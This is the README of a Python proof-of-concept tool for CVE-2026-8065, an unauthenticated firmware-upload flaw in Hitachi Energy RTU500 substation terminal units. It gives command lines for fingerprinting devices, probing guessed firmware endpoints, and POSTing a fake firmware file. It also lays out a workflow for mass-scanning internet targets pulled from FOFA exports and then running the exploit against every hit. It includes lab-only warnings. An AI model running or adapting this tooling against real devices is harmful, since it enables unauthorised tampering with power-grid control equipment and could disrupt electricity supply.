murrez/cve-2026-8065PoC em Python para CVE-2026-8065: identifica dispositivos Hitachi Energy RTU500 e sonda endpoints de atualização de firmware para upload não autenticado, com modos de verificação, exploração e varredura em massa.
PoC em Python 3 para CVE-2026-8065 — Firmware CMU da Série RTU500 da Hitachi Energy — bypass de autenticação (CWE-306) no endpoint HTTP de atualização de firmware. CVSS 3.1 9.1 Crítico (IoT/OT).
| PoCbit | https://pocbit.org/pocs/cve-2026-8065 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-8065 |
| Vetor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-306 Autenticação Ausente para Função Crítica |
| Impacto | Upload arbitrário de firmware não autenticado → integridade / disponibilidade da RTU da subestação |
RTU500 é a família de Remote Terminal Unit (unidade terminal remota) utilizada no setor de transmissão/distribuição de energia; o gerenciamento de firmware CMU é feito por meio do servidor web. Em CVE-2026-8065, o endpoint de atualização de firmware torna-se acessível sem autenticação (ou com bypass por meio de POST craftado); um atacante pode carregar firmware arbitrário, alterando a função do dispositivo, comprometendo a integridade ou causando DoS.
Isso significa um impacto OT crítico remoto com PR:N na rede de automação — deve ser testado apenas em laboratório de isolamento autorizado ou no âmbito de um pentest aprovado pelo fornecedor.
Fornecedor (CNA) afetado: RTU500 Series CMU Firmware — linhas de versão 9.0 e 12.0 (versionamento customizado; consulte o advisory atual e as notas de patch 13.8.2+).
A Hitachi Energy atribuiu CVE-2026-8065 (publicado em 2026-09-29):
Uma vulnerabilidade de bypass de autenticação no endpoint de atualização de firmware do Hitachi Energy RTU500 permite que um atacante não autenticado faça upload de firmware arbitrário por meio de uma requisição POST forjada.
Diferentemente de CVE-2024-2617 (usuário autenticado contornando a atualização segura quando desabilitada), CVE-2026-8065 é acesso não autenticado à própria função de atualização — uma lacuna completa de CWE-306 em uma superfície OT crítica para a segurança.
Os avisos públicos podem ainda não listar a URI exata; a documentação do RTU500 descreve o tratamento de firmware via Configuration Management / transferência de arquivos pelo servidor web. Esta PoC identifica o RTU500 e sonda uma lista selecionada de caminhos POST de firmware prováveis e, então (modo exploit), envia um blob de sondagem não destinado à produção (POCBIT-8065-FW-PROBE) para detectar respostas de aceitação não autenticada.
| Modo | Comportamento |
|---|---|
| check | Sondagem HTTP(S) em múltiplas portas, marcadores HTML do RTU500, regex de versão do CMU, sondagem GET nos caminhos de firmware |
| exploit | POST multipart de um .fw falso sem cookie de sessão; exploited se 2xx + heurísticas de aceitação |
| mass | --list + -j; hits.txt / exploited.txt |
--dry-run | Exploit: apenas sondagem GET no caminho de firmware (sem POST) |
--lab | RTU500 simulado local — deve mostrar exploited: true (verificação de sanidade) |
--force | Exploit sem fingerprint HTML do RTU500 |
--firmware-paths | Substituir a lista de caminhos (separados por vírgula) quando o caminho do fornecedor é conhecido |
JSONL: pocbit, pocbit_catalog, pocbit_page, cve, vendor, product.
Segurança: O payload de exploit padrão não é uma imagem de flash CMU válida — apenas um marcador + preenchimento para detecção. Nunca aponte o modo exploit para equipamentos de rede elétrica em operação sem isolamento e coordenação com o fornecedor.
cd CVE-2026-8065
pip install -r requirements.txt
python poc.py -u https://192.168.1.10 --mode check
python poc.py -u https://192.168.1.10 --mode exploit --dry-run
python poc.py -u https://192.168.1.10 --mode exploit
python poc.py -u https://192.168.1.10 --mode exploit --firmware-paths /api/firmware/update
Com --list --mode check, bulk ativado por padrão: 1–2 GET por alvo (URL da lista + http/https se necessário), sem varredura de 16 caminhos de firmware, timeout curto (4s connect, 10s read), -j 32 por padrão.
python _format_fofa.py fofa_csv_1000.csv
python poc.py --list fofa_targets_rtu_priority.txt --mode check -j 40
python poc.py --list fofa_csv_1000.csv --mode check -j 50 --timeout 8
python poc.py --list targets.txt --mode check --full -j 20 # yavaş: çoklu port + tüm firmware GET
python poc.py --list hits.txt --mode exploit -j 8 --timeout 25
Progresso na CLI: [done/total hedef/s]; os hits são escritos instantaneamente como HIT.
A lista FOFA cert="Hitachi" é muito ruidosa; no CSV, use rtu_priority para varrer primeiro a lista de prioridade. Check hit ≠ RTU real: SPAs corporativas que contêm apenas hitachi energy na página tornam-se vendor_branding_only / vendor_branding_spa_false_positive; para exploit é necessário um fingerprint strong como rtu500 / rtutil500 / cmu firmware (caso contrário, --force).
python poc.py --lab
python poc.py --list fofa_targets_rtu_priority.txt --mode check --full -j 20
python poc.py --list hits.txt --mode exploit --dry-run -j 8
O PoC alterna (verificação GET / exploração POST):
/api/firmware/update, /api/firmware/upload, /api/v1/firmware/update/firmware/update, /firmware/upload, /ws/firmware/update/CMU/firmware/upload, /ConfigurationManagement/Firmware/configuration/management/firmware, /FileUpload/Firmware/scripts/firmwareUpload, /cgi-bin/firmware, /admin/firmware/uploadQuando a Hitachi publicar o caminho exato, defina --firmware-paths apenas para esse URI.